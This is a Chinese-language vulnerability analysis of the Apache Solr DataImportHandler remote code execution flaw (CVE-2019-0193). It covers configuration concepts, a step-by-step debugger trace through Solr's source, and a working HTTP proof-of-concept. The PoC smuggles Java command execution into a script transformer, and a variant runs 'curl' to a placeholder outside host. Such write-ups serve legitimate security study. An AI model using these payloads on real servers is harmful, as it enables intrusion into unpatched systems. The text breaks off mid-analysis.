apache solr遠程代碼執行漏洞(cve-2019-0193)

簡介

Apache Solr是一個企業級搜索平臺,用Java編寫且開源,基於Apache Lucene項目。

  • 主要功能包括:
    • full-text search 全文搜索
    • hit highlighting
    • faceted search
    • dynamic clustering 動態聚類
    • document parsing 文檔解析
  • Solr可以像數據庫一樣被使用:
    • 1.運行服務器,創建collection1
    • 2.從外部獲取數據 - 向collection1發送不同類型的數據(例如文本,xml文檔,pdf文檔等任何格式)
    • 3.存儲數據並生成索引 - Solr自動索引這些數據並提供快速、豐富的REST API接口,以便於你搜索已有數據

與Solr服務器通信的唯一協議是HTTP,並且默認情況下無需身份驗證即可訪問,所以Solr容易受到web攻擊(SSRF,CSRF等)。

漏洞信息

8月1日,Apache Solr官方發佈了CVE-2019-0193漏洞預警。

此漏洞位於Apache Solr的可選模塊DataImportHandler模塊中。

模塊介紹:
DataImportHandler模塊
雖然是一個可選模塊,但是它常常被使用。
該模塊的作用:從數據源(數據庫或其他源)中提取數據。

  • 該模塊的配置信息 "DIH配置"(DIH configuration) 可使用以下的方式指定:
    • Server端 - 通過Server的“配置文件“來指定配置信息"DIH配置"
    • web請求 - 使用web請求中的dataConfig參數(該參數用戶可控)來指定配置信息"DIH配置"(整個DIH配置可以來自請求的“dataConfig”參數)

漏洞描述:
Apache Solr如果啓用了DataImportHandler模塊,因爲它支持使用web請求來指定配置信息"DIH配置" ,攻擊者可構造HTTP請求指定dataConfig參數的值(dataConfig內容),dataConfig內容完全可控(多種利用方式),後端處理的過程中,可導致命令執行。

利用方式:
(其中一種利用方式)
"DIH配置" ("DIH配置"中可以包含腳本內容,本來是爲了對數據進行轉換),構造包含腳本的配置信息當Web後端處理該請求時,會使用“腳本轉換器“(ScriptTransformer)對“腳本“進行解析,而Web後端未對腳本內容做任何限制(可以導入並使用任意的Java類,如執行命令的類),導致可以執行任意代碼。

利用條件:
1.Apache Solr的DataImportHandler啓用了模塊DataImportHandler(默認情況下該模塊不會被啓用)
2.Solr Admin UI未開啓鑑權認證。(默認情況下打開web界面無需任何認證)

影響範圍:
Apache Solr < 8.2.0 並且開啓了DataImportHandler模塊(默認情況下該模塊不被啓用),存在該漏洞。
Solr>=8.2.0版安全。因爲從Solr>=8.2.0版開始,默認不可使用dataConfig參數,想使用此參數需要將Java System屬性“enable.dih.dataConfigParam”設置爲true。只有當Solr>=8.2.0但是主動將Java System屬性“enable.dih.dataConfigParam”設置爲true,才存在漏洞。

參考自 https://issues.apache.org/jira/browse/SOLR-13669

基礎概念

基礎概念 - DIH概念和術語

參考官方資料
https://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html#dih-concepts-and-terminology

  • 數據導入處理程序(the Data Import Handler,DIH)常用術語
    • Datasource (數據源)
    • 概念:數據源,定義了 即將導入Solr的 “Solr之外的“ 【數據的位置】。
    • 數據源 有很多種:
      • 導入Solr的數據如果來自"數據庫",此時數據源(外部數據的位置)就是一個DSN(Data Source Name)
      • 導入Solr的數據如果來自“HTTP的響應“ (如RSS訂閱源、atom訂閱源、結構化的XML...),此時數據源(外部數據的位置)就是URL地址
      • ...支持多種數據源 參考以上鍊接
    • Entity - 實體
      • Conceptually, an entity is processed to generate a set of documents, containing multiple fields, which (after optionally being transformed in various ways) are sent to Solr for indexing. For a RDBMS data source, an entity is a view or table, which would be processed by one or more SQL statements to generate a set of rows (documents) with one or more columns (fields).
      • 從概念上講,“實體“被處理是爲了生成Solr中的一組文檔(a set of documents),包含多個字段fields),這些字段(可以用各種方式轉換之後)發送到Solr進行索引。對於RDBMS(關係型數據庫)數據源,實體是這個RDBMS中的一個視圖(view)或表(table),它們將被一個或多個SQL語句處理,從而生成Solr中的一組行(文檔),這些行(文檔),具有一個或多個列(字段)。
      • 個人理解,實體就是外部的數據源中的實實在在的“數據“。
    • Processor - 實體處理器
      • An entity processor does the work of extracting content from a data source, transforming it, and adding it to the index. Custom entity processors can be written to extend or replace the ones supplied.
      • 實體處理器從(Solr外部的)"數據源"中提取數據內容,轉換數據內容並將其添加到Solr索引中。可以編寫"自定義實體處理器"(Custom entity processors)來擴展或替換已提供的處理器。
      • 個人理解,實體處理器的作用是“提取“並“轉換“外部數據。
    • Transformer - 轉換器
      • Each set of fields fetched by the entity may optionally be transformed. This process can modify the fields, create new fields, or generate multiple rows/documents form a single row.
      • 實體(從Solr之外的數據源中)獲取的每一組字段,都可以有選擇地被“轉換器“轉換。此轉換過程可以修改字段(fields)、創建新字段、或從單單一行(a single row)生成多個rows/documents。
      • 個人理解,“轉換器“主要是被“實體處理器“調用,用來對“數據內容“做轉換。
      • There are several built-in transformers in the DIH, which perform functions such as modifying dates and stripping HTML. It is possible to write custom transformers using the publicly available interface.
      • DIH中有幾個內置轉換器,它們執行諸如修改日期(modifying dates)和剝離HTML(stripping HTML)等函數。可以使用"public的接口"編寫自定義轉換器。

基礎概念 - dataconfig

參考官方資料
https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#configuring-the-dih-configuration-file

https://cwiki.apache.org/confluence/display/solr/DataImportHandler
尤其是其中的“Usage with XML/HTTP Datasource”

Solr如何從外部數據源中獲取數據呢?
使用DataImportHandler模塊,只需要提供dataConfig (配置信息)即可。

因爲配置信息詳細的說明了:“導入數據“、“轉換數據“等操作需要的所有參數。

配置信息應該怎麼寫?需要符合語法。

看例1即可看到:“導入數據“、“轉換數據“等操作需要的所有參數。

dataConfig 內容 例1:

數據源爲“數據庫的位置”

<dataConfig> 

  <!-- 第1個元素是dataSource   driver屬性值說明了"JDBC驅動程序的路徑"; url屬性說明了“JDBC URL“; user屬性說明了“登錄憑據“ ...-->
  <dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:./example-DIH/hsqldb/ex" user="sa" password="secret"/> 

  <!-- 第2個元素是document  它包含了多個entity(實體)元素  注意 entity(實體)可以嵌套entity(實體) -->
  <document> 

  <!-- 下面緊接着一行 是個root entity(根實體)元素   含有1個或多個 field(字段)元素,它們的作用是將“數據源字段名稱“映射到“Solr中的字段“,並可選擇指定每個字段的轉換  -->
    <entity name="item" query="select * from item"
            deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'"> 

      <field column="NAME" name="name" />

      <entity name="feature"
              query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
              deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
              parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}"> 
  <!-- 上面緊接的一行中 ID的值的含義是 是當前item(項) 的 “ID” column(列) 的值  -->

        <field name="features" column="DESCRIPTION" />
      </entity>

      <entity name="item_category"
              query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
              deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
              parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
        <entity name="category"
                query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
                deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
                parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
          <field column="description" name="cat" />
        </entity>
      </entity>
    </entity>
  </document>
</dataConfig>

基礎概念 - ScriptTransformer

參考官方資料 https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

腳本轉換器(ScriptTransformer):它允許開發者使用Java支持的任何腳本語言。
實際情況:Java 8默認自帶了Javascript腳本解析引擎,需要支持其他語言的話需要自己整合(JRuby、Jython、Groovy、BeanShell等)

要寫腳本必須滿足以下條件:"腳本內容"寫在數據庫配置文件中的<script>腳本內容</script>標籤之內,並且每個函數都必須接受一個名爲row的變量,該變量的數據類型爲 Map<String,Object>(鍵名-鍵值 映射),因爲是Map類型的變量,所以它可以使用get(),put(),remove(),clear()等方法操作元素。
所以通過腳本可以實現各種操作:修改已存在的字段的值、添加新字段等。
每個函數的返回值都返回的是"對象"。

該腳本將插入DIH配置文件中(腳本內容 在DIH配置文件中的第一行開始),併爲每一個"行"(row)調用一次腳本,有多少"行"(row)就調用多少次腳本。

看一個簡單的例子

dataConfig 內容 例2:

數據源爲“數據庫的位置”

<dataconfig>

  <!-- 函數定義:  該腳本的作用是,獲取"華氏溫度"(鍵名爲temp_f)數值,計算出對應的"攝氏溫度"(鍵名爲temp_c )的值如99 ,插入鍵值對   'temp_c',99 到這個名爲row的Map對象,retrun該對象  -->

  <!-- 函數定義:生成一個新的row的腳本 它的作用是獲取到華氏溫度temp_f  根據該數值計算出 攝氏溫度temp_c 並生成一個新row    -->

  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
    ]]>
  </script>
  <document>

    <!-- 函數調用:實體entity 中的屬性transformer的值 爲 函數名稱(字符串 f2c ),這樣從外部數據源取到一條row,就會調用一次上面腳本中定義的名爲f2c函數.  有多少條數據就調用多少次腳本中的函數 -->

    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
      ....
    </entity>
  </document>
</dataConfig>

基礎概念 - Nashorn引擎

  • 在Solr的Java環境中使用了Nashorn引擎,它的作用
    • 1.實現Java環境解析Javascript腳本
    • 2.在Nashorn引擎的支持下,JavaScript腳本可以使用Java中的東西。

如下,JavaScript腳本中可以使用Java.typeAPI方法,實現在JavaScript中引用Java中的類 (像Java中的import一樣),並在JavaScript腳本中使用該Java類中的Java方法

var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello('Nashorn');
print(result);

環境搭建

運行環境:
macOS系統

java -version

java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

使用Solr 8.1.1二進制版,下載地址 https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip

使用Solr的example-DIH 路徑在example-DIH/solr/ 它自帶了一些可用的索引庫: atom, db, mail, solr, tika

啓動Solr開始動態調試。

PoC

進入DIH admin界面:

http://solr.com:8983/solr/#/tika/dataimport/dataimport

如圖,這裏我選擇了Solr example程序中自帶的名爲tika的索引庫(Solr中把索引庫叫core),並填寫了dataConfig信息。

構造PoC的注意點1:debug=true
如圖,DataImportHandler模塊的DIH admin界面中有一個debug選項(本來是爲了方便對"DIH配置"進行調試或開發),勾選Debug,點擊Execute,看到在HtTP請求中是debug=true,在PoC中必須帶上它(爲了回顯結果)。

構造PoC的注意點2:dataConfig信息
注意:數據配置(dataconfig)中實體(entity)、字段(field)標籤中有哪些屬性取決於用了哪個處理器(processor)、哪個轉換器(transformer)

dataConfig信息中的關鍵點(1):這裏我使用的數據源的類型是URLDataSource(理論上其他數據源的類型都可以)
dataConfig信息中的關鍵點(2):既然有(1),所以<document>中的 <entity>實體標籤裏說明了該實體的屬性。

  • <entity>實體的屬性
    • 屬性name 必填 用於標識實體的唯一名稱
    • 屬性processor可選項 默認值爲SqlEntityProcessor,所以當數據源不是RDBMS時必須填寫該項。對於URLDataSource類型的數據源而言,它的值必須爲“XPathEntityProcessor”(根據官方說明只能使用XPathEntityProcessor對‘URL的HTTP響應“做處理);
    • 屬性transformer可選項 填寫格式爲transformer="script:<function-name>" 指定了轉換數據時具體的transformer(轉換器)需要執行的腳本函數的名稱(即字符串“poc“);
    • 屬性forEach 必填 值爲Xpath表達式 用於“劃分“記錄。如果有多種類型的記錄就用|符號把這些表達式分隔開;
    • 屬性url的值用於調用REST API的URL(可以模板化)

dataConfig信息中的關鍵點(3):<dataConfig>中的<script>標籤中,寫了名爲"poc"的腳本函數的具體實現。

抓到HTTP請求,看到是POST方法(用GET完全可以),其中dataConfig是URL編碼的(直接用原始數據發現也可以),PoC如下:

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

執行成功。

 

同一類型的PoC:

<script><![CDATA[
          function poc(data){
new java.lang.ProcessBuilder["(java.lang.String[])"](["/bin/sh","-c", "curl your.net/demo"]).start()
}
  ]]></script>

漏洞分析

在Web瀏覽器中啓動Solr的web管理界面 Solr Admin UI,默認無任何認證,直接訪問 http://127.0.0.1:8983/solr/
看到Solr正在運行

路由分析:Web後端收到URL爲 /solr/xxx_core_name/dataimport 的 HTTP請求時,會將HTTP請求實參req傳入DataImportHandler類的handleRequestBody方法。

文件位置:/solr-8.1.1/dist/solr-dataimporthandler-8.1.1.jar!/org/apache/solr/handler/dataimport/DataImportHandler.class
關鍵的類:org.apache.solr.handler.dataimport.DataImportHandler

按command+F12查看 DataImportHandler類的方法 和 成員變量

圖a

關鍵方法:很容易發現,DataImportHandler類的handleRequestBody方法是用於接受HTTP請求的。
在該方法下斷點,以便跟蹤輸入的數據是如何被處理的。(函數體過長 我摺疊了部分邏輯)

圖0

執行邏輯:從PoC中可見,HTTP請求中有debug=true,根據handleRequestBody方法體中的if-else分支判斷邏輯可知,會調用maybeReloadConfiguration方法(功能是重新加載配置)。

關鍵方法:maybeReloadConfiguration方法
關鍵語句:this.importer.maybeReloadConfiguration(requestParams, defaultParams);

圖1

跟進(Step into)關鍵方法 maybeReloadConfiguration 方法

圖2

關鍵語句:String dataConfigText = params.getDataConfig();//獲取HTTP請求中POST body中的參數dataConfig的值
執行邏輯:maybeReloadConfiguration方法體中,會獲取HTTP請求中POST body中的參數dataConfig的值,即“DataConfig配置信息“,如果該值不爲空則該值傳遞給loadDataConfig方法(功能是加載DataConfig配置信息)

本次調試過程中的"DataConfig配置信息":

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

解釋:
<dataSource type="URLDataSource"/>表示數據源的類型爲URLDataSource

並且該數據源的實體,屬性如下

<entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />

跟進(Step into)關鍵方法 loadDataConfig方法

圖3

執行邏輯:loadDataConfig方法的具體實現中,調用了readFromXml方法,從xml數據中讀取信息。
關鍵語句:dihcfg = this.readFromXml(document);

跟進(Step into)關鍵方法 readFromXml方法

readFromXml方法體

關鍵語句:return new DIHConfiguration((Element)documentTags.get(0), this, functions, script, dataSources, pw);

執行邏輯:readFromXml方法的具體實現中,根據各種不同名稱的標籤(如document,script,function,dataSource等),得到了配置數據中的元素。如,配置信息中的自定義腳本在此處被賦值給名爲scriptScript類型的變量中。使用“迭代器“遞歸解析完所有標籤後,new一個DIHConfiguration對象(傳入的6個實參中有個是script變量),這個DIHConfiguration對象作爲readFromXml方法的返回值,被return。

該DIHConfiguration對象,實際賦值給了(調用readFromXml方法的) loadDataConfig方法體中的名爲dihcfg的變量。(見圖3)

回溯:現在的情況是,之前在loadDataConfig方法體中調用了的readFromXml方法已經執行結束並返回了一個DIHConfiguration對象,賦值給了loadDataConfig方法體中的那個名爲dihcfg的變量,loadDataConfig方法成功獲取到配置信息。

回溯:現在的情況是,之前的maybeReloadConfiguration方法體中調用了的loadDataConfig方法執行結束,DataImporter類的maybeReloadConfiguration方法也得到它需要的boolean返回值,true(見圖2)

DataImporter類 org.apache.solr.handler.dataimport.DataImporter

DataImporter類 包含的方法和變量,如圖,重點關注的方法是:

maybeReloadConfiguration方法 - boolean maybeReloadConfiguration(RequestInfo params, NamedList<?> defaultParams)
doFullImport方法 - public void doFullImport(DIHWriter writer, RequestInfo requestParams) 
runCmd方法

DataImporter類 包含的方法和變量

回溯:現在的情況可參考圖0,回到了DataImportHandler類的handleRequestBody方法體中,在該方法體中調用了的(DataImporter類中的)maybeReloadConfiguration方法已經執行結束,繼續向下執行到關鍵語句this.importer.runCmd(requestParams, sw);調用了(DataImporter類中的)runCmd方法

跟進(Step into)關鍵方法 :(DataImporter類中的)runCmd方法

圖4 - runCmd方法的方法體

跟進DataImporter類中的doFullImport方法體

doFullImport方法體

功能如下
首先創建一個DocBuilder對象。
DocBuilder對象的主要功能是從給定配置中創建Solr文檔 該對象具有名爲configDIHConfiguration類型的成員變量 見代碼 private DIHConfiguration config;

然後調用該DocBuilder對象的execute()方法,作用是使用“迭代器“ this.config.getEntities().iterator();
,解析"DIH配置" 即名爲configDIHConfiguration類型的成員變量,根據“屬性名稱“(如preImportDeleteQuery、postImportDeleteQuery、)獲得Entity的所有屬性。

最終得到是一個EntityProcessorWrapper對象。

簡單介紹下DocBuilder類。
DocBuilder類 org.apache.solr.handler.dataimport.DocBuilder

DocBuilder類 包含的方法,如下圖,重點關注:

execute()方法  -   public void execute()
doFullDump()方法  -   private void doFullDump()

DocBuilder類 包含的方法

簡單介紹下EntityProcessorWrapper類。
EntityProcessorWrapper類 org.apache.solr.handler.dataimport.EntityProcessorWrapper

EntityProcessorWrapper是一個比較關鍵的類,繼承自EntityProcessor,在整個解析過程中起到重要的作用。

EntityProcessorWrapper類的更多信息參考
https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html

EntityProcessorWrapper類 包含的方法,如下圖,重點的是:
loadTransformers()方法 - 作用:加載轉換器

EntityProcessorWrapper類 包含的方法

在解析完config數據後,solr會把最後“更新時間“記錄到配置文件中,這個時間是爲了下次進行增量更新的時候用的。
接着通過this.dataImporter.getStatus()判斷當前數據導入是“增量導入”即doDelta()方法,還是“全部導入”即doFullDump()方法。
本次調試中的操作是全部導入”,因此調用doFullDump()方法

execute方法中的doFullDump()方法

跟進DocBuilder類中的doFullDump方法體:

private void doFullDump() {
        this.addStatusMessage("Full Dump Started");
        this.buildDocument(this.getVariableResolver(), (DocBuilder.DocWrapper)null, (Map)null, this.currentEntityProcessorWrapper, true, (ContextImpl)null);
    }

可見,在doFullDump()方法體中,調用的是DocBuilder類中的buildDocument()方法。
作用是爲發送的配置數據的每一個Processor做解析(調用getVariableResolver()方法),當發送的entity中含有Transformers時,會進行相應的轉換操作。

例如 DateFormatTransformer 轉換成日期格式
例如 RegexTransformer 根據正則表達式轉換
例如 ScriptTransformer 根據用戶自定義的腳本進行數據轉換(漏洞關鍵:腳本內容完全用戶可控!!)
等等

具體如何執行JavaScript腳本?繼續跟進,DocBuilder類中的buildDocument()方法。

private void buildDocument(VariableResolver vr, DocBuilder.DocWrapper doc, Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) {
        ContextImpl ctx = new ContextImpl(epw, vr, (DataSource)null, pk == null ? "FULL_DUMP" : "DELTA_DUMP", this.session, parentCtx, this);
        epw.init(ctx);
        if (!epw.isInitialized()) {
            entitiesToDestroy.add(epw);
            epw.setInitialized(true);
        }

        if (this.reqParams.getStart() > 0) {
            this.getDebugLogger().log(DIHLogLevels.DISABLE_LOGGING, (String)null, (Object)null);
        }

        if (this.verboseDebug) {
            this.getDebugLogger().log(DIHLogLevels.START_ENTITY, epw.getEntity().getName(), (Object)null);
        }

        int seenDocCount = 0;

        try {
            while(!this.stop.get()) {
                if (this.importStatistics.docCount.get() > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
                    return;
                }

                try {
                    ++seenDocCount;
                    if (seenDocCount > this.reqParams.getStart()) {
                        this.getDebugLogger().log(DIHLogLevels.ENABLE_LOGGING, (String)null, (Object)null);
                    }

                    if (this.verboseDebug && epw.getEntity().isDocRoot()) {
                        this.getDebugLogger().log(DIHLogLevels.START_DOC, epw.getEntity().getName(), (Object)null);
                    }

                    if (doc == null && epw.getEntity().isDocRoot()) {
                        doc = new DocBuilder.DocWrapper();
                        ctx.setDoc(doc);

                        for(Entity e = epw.getEntity(); e.getParentEntity() != null; e = e.getParentEntity()) {
                            this.addFields(e.getParentEntity(), doc, (Map)vr.resolve(e.getParentEntity().getName()), vr);
                        }
                    }

                    Map<String, Object> arow = epw.nextRow();
                    if (arow == null) {
                        return;
                    }

                    if (epw.getEntity().isDocRoot()) {
                        if (seenDocCount <= this.reqParams.getStart()) {
                            continue;
                        }

                        if ((long)seenDocCount > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
                            log.info("Indexing stopped at docCount = " + this.importStatistics.docCount);
                            return;
                        }
                    }

                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_OUT, epw.getEntity().getName(), arow);
                    }

                    this.importStatistics.rowsCount.incrementAndGet();
                    DocBuilder.DocWrapper childDoc = null;
                    if (doc != null) {
                        if (epw.getEntity().isChild()) {
                            childDoc = new DocBuilder.DocWrapper();
                            this.handleSpecialCommands(arow, childDoc);
                            this.addFields(epw.getEntity(), childDoc, arow, vr);
                            doc.addChildDocument(childDoc);
                        } else {
                            this.handleSpecialCommands(arow, doc);
                            vr.addNamespace(epw.getEntity().getName(), arow);
                            this.addFields(epw.getEntity(), doc, arow, vr);
                            vr.removeNamespace(epw.getEntity().getName());
                        }
                    }

                    if (epw.getEntity().getChildren() != null) {
                        vr.addNamespace(epw.getEntity().getName(), arow);
                        Iterator var12 = epw.getChildren().iterator();

                        while(var12.hasNext()) {
                            EntityProcessorWrapper child = (EntityProcessorWrapper)var12.next();
                            if (childDoc != null) {
                                this.buildDocument(vr, childDoc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
                            } else {
                                this.buildDocument(vr, doc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
                            }
                        }

                        vr.removeNamespace(epw.getEntity().getName());
                    }

                    if (epw.getEntity().isDocRoot()) {
                        if (this.stop.get()) {
                            return;
                        }

                        if (!doc.isEmpty()) {
                            boolean result = this.writer.upload(doc);
                            if (this.reqParams.isDebug()) {
                                this.reqParams.getDebugInfo().debugDocuments.add(doc);
                            }

                            doc = null;
                            if (result) {
                                this.importStatistics.docCount.incrementAndGet();
                            } else {
                                this.importStatistics.failedDocCount.incrementAndGet();
                            }
                        }
                    }
                } catch (DataImportHandlerException var24) {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var24);
                    }

                    if (var24.getErrCode() != 301) {
                        if (!isRoot) {
                            throw var24;
                        }

                        if (var24.getErrCode() == 300) {
                            this.importStatistics.skipDocCount.getAndIncrement();
                            doc = null;
                        } else {
                            SolrException.log(log, "Exception while processing: " + epw.getEntity().getName() + " document : " + doc, var24);
                        }

                        if (var24.getErrCode() == 500) {
                            throw var24;
                        }
                    }
                } catch (Exception var25) {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var25);
                    }

                    throw new DataImportHandlerException(500, var25);
                } finally {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ROW_END, epw.getEntity().getName(), (Object)null);
                        if (epw.getEntity().isDocRoot()) {
                            this.getDebugLogger().log(DIHLogLevels.END_DOC, (String)null, (Object)null);
                        }
                    }

                }
            }

        } finally {
            if (this.verboseDebug) {
                this.getDebugLogger().log(DIHLogLevels.END_ENTITY, (String)null, (Object)null);
            }

        }
    }

可見方法體中,有一行語句是Map<String, Object> arow = epw.nextRow();,功能是“讀取EntityProcessorWrapper的每一個元素“,該方法返回的是一個Map對象。

對該語句下斷點,進入EntityProcessorWrapper類中的nextRow方法:

EntityProcessorWrapper類中的nextRow方法的方法體

可見,EntityProcessorWrapper類中的nextRow方法體中,調用了EntityProcessorWrapper類中的applyTransformer()方法。

繼續跟進,EntityProcessorWrapper類中的applyTransformer()方法體:
功能
第1步.調用loadTransformers方法,作用是“加載轉換器“
第2步.調用對應的Transformer的transformRow方法

applyTransformer()方法體

applyTransformer()方法體,代碼如下

protected Map<String, Object> applyTransformer(Map<String, Object> row) {
        if (row == null) {
            return null;
        } else {
            if (this.transformers == null) {
                this.loadTransformers();
            }

            if (this.transformers == Collections.EMPTY_LIST) {
                return row;
            } else {
                Map<String, Object> transformedRow = row;
                List<Map<String, Object>> rows = null;
                boolean stopTransform = this.checkStopTransform(row);
                VariableResolver resolver = this.context.getVariableResolver();
                Iterator var6 = this.transformers.iterator();

                while(var6.hasNext()) {
                    Transformer t = (Transformer)var6.next();
                    if (stopTransform) {
                        break;
                    }

                    try {
                        if (rows == null) {
                            resolver.addNamespace(this.entityName, transformedRow);
                            Object o = t.transformRow(transformedRow, this.context);
                            if (o == null) {
                                return null;
                            }

                            if (o instanceof Map) {
                                Map oMap = (Map)o;
                                stopTransform = this.checkStopTransform(oMap);
                                transformedRow = (Map)o;
                            } else if (o instanceof List) {
                                rows = (List)o;
                            } else {
                                log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
                            }
                        } else {
                            List<Map<String, Object>> tmpRows = new ArrayList();
                            Iterator var9 = ((List)rows).iterator();

                            while(var9.hasNext()) {
                                Map<String, Object> map = (Map)var9.next();
                                resolver.addNamespace(this.entityName, map);
                                Object o = t.transformRow(map, this.context);
                                if (o != null) {
                                    if (o instanceof Map) {
                                        Map oMap = (Map)o;
                                        stopTransform = this.checkStopTransform(oMap);
                                        tmpRows.add((Map)o);
                                    } else if (o instanceof List) {
                                        tmpRows.addAll((List)o);
                                    } else {
                                        log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
                                    }
                                }
                            }

                            rows = tmpRows;
                        }
                    } catch (Exception var13) {
                        log.warn("transformer threw error", var13);
                        if ("abort".equals(this.onError)) {
                            DataImportHandlerException.wrapAndThrow(500, var13);
                        } else if ("skip".equals(this.onError)) {
                            DataImportHandlerException.wrapAndThrow(300, var13);
                        }
                    }
                }

                if (rows == null) {
                    return transformedRow;
                } else {
                    this.rowcache = (List)rows;
                    return this.getFromRowCache();
                }
            }
        }
    }

第1步.
調用loadTransformers()方法。
查看loadTransformers()方法體,可見它的作用是“加載轉換器“:
即如果transscript:開頭,則new一個ScriptTransformer對象。

loadTransformers()方法的方法體

loadTransformers()方法體,代碼如下

void loadTransformers() {
        String transClasses = this.context.getEntityAttribute("transformer");
        if (transClasses == null) {
            this.transformers = Collections.EMPTY_LIST;
        } else {
            String[] transArr = transClasses.split(",");
            this.transformers = new ArrayList<Transformer>() {
                public boolean add(Transformer transformer) {
                    if (EntityProcessorWrapper.this.docBuilder != null && EntityProcessorWrapper.this.docBuilder.verboseDebug) {
                        transformer = EntityProcessorWrapper.this.docBuilder.getDebugLogger().wrapTransformer(transformer);
                    }

                    return super.add(transformer);
                }
            };
            String[] var3 = transArr;
            int var4 = transArr.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                String aTransArr = var3[var5];
                String trans = aTransArr.trim();
                if (trans.startsWith("script:")) {
                    this.checkIfTrusted(trans);
                    String functionName = trans.substring("script:".length());
                    ScriptTransformer scriptTransformer = new ScriptTransformer();
                    scriptTransformer.setFunctionName(functionName);
                    this.transformers.add(scriptTransformer);
                } else {
                    try {
                        Class clazz = DocBuilder.loadClass(trans, this.context.getSolrCore());
                        if (Transformer.class.isAssignableFrom(clazz)) {
                            this.transformers.add((Transformer)clazz.newInstance());
                        } else {
                            Method meth = clazz.getMethod("transformRow", Map.class);
                            this.transformers.add(new EntityProcessorWrapper.ReflectionTransformer(meth, clazz, trans));
                        }
                    } catch (NoSuchMethodException var10) {
                        String msg = "Transformer :" + trans + "does not implement Transformer interface or does not have a transformRow(Map<String.Object> m)method";
                        log.error(msg);
                        DataImportHandlerException.wrapAndThrow(500, var10, msg);
                    } catch (Exception var11) {
                        log.error("Unable to load Transformer: " + aTransArr, var11);
                        DataImportHandlerException.wrapAndThrow(500, var11, "Unable to load Transformer: " + trans);
                    }
                }
            }

        }
    }

第2步.調用對應的Transformer的transformRow方法

transformRow方法體的執行步驟:
第(1)步.初始化腳本引擎
第(2)步.使用invoke執行腳本

transformRow方法的方法體

transformRow方法體,代碼如下

public Object transformRow(Map<String, Object> row, Context context) {
        try {
            if (this.engine == null) {
                this.initEngine(context);
            }

            return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);
        } catch (DataImportHandlerException var4) {
            throw var4;
        } catch (Exception var5) {
            DataImportHandlerException.wrapAndThrow(500, var5, "Error invoking script for entity " + context.getEntityAttribute("name"));
            return null;
        }
    }

第(1)步:
transformRow方法體中的語句this.initEngine(context);調用了initEngine方法(該方法只做初始化,並未執行JavaScript腳本)

調試過程中,可查看到initEngine方法中的名爲scriptText的String類型的變量,值爲:

function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }

第(2)步:
